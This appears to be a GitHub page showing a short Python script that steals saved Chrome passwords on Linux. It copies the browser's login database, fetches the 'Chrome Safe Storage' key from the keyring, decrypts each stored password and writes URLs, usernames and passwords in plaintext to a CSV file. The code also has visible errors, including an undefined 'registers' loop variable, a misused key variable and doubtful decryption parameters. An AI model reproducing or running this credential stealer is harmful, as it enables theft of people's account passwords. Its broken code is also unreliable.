-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathscript.py
74 lines (59 loc) · 1.94 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import os
import sqlite3
import csv
import secretstorage
from Crypto.Protocol.KDF import PBKDF2 as pbkdf2
from Crypto.Cipher import AES # type: ignore
# Passwords path
passwords_path = os.path.expanduser("~/.google-chrome/Default/Login Data")
# Temp copy of the passwords database
path_copy = 'LoginDate_temp.db'
os.system(f'cp {passwords_path} {path_copy}')
# Connect to the database
connection = sqlite3.connect(path_copy)
cursor = connection.cursor()
# Query the database
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
register = cursor.fetchall()
# Decrypt the passwords function
def decrypt_password(password, key):
try:
connection_keyring = secretstorage.dbus_init()
collection = secretstorage.get_default_collection(connection_keyring)
# Search Chrome Key
for item in collection.get_all_items():
if item.get_label() == 'Chrome Safe Storage':
item = item.get_secret()
break
else:
print("Not found!")
return ""
# Decrypt the password AES settings
salt = b'saltysalt'
iv = b' ' * 16
iterations = 1003
key_aes = AES.new(
pbkdf2(key, salt, 16, iterations),
AES.MODE_CBC,
iv
)
# Prefix removal "v10"/"v11" (Chrome)
encrypted_password = password[3:]
decrypted = key_aes.decrypt(encrypted_password)
# Padding
return decrypted.rstrip(b'\x00').decode('utf-8')
except Exception as e:
print(f"Error: {e}")
return ""
# CSV writing
with open('passwords.csv', 'w', newline='', encoding='utf-8') as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['URL', 'Username', 'Password'])
for register in registers:
url = register[0]
username = register[1]
password = decrypt_password(register[2], item)
writer.writerow([url, username, password])
# Clean up
os.remove(path_copy)
print("Done!")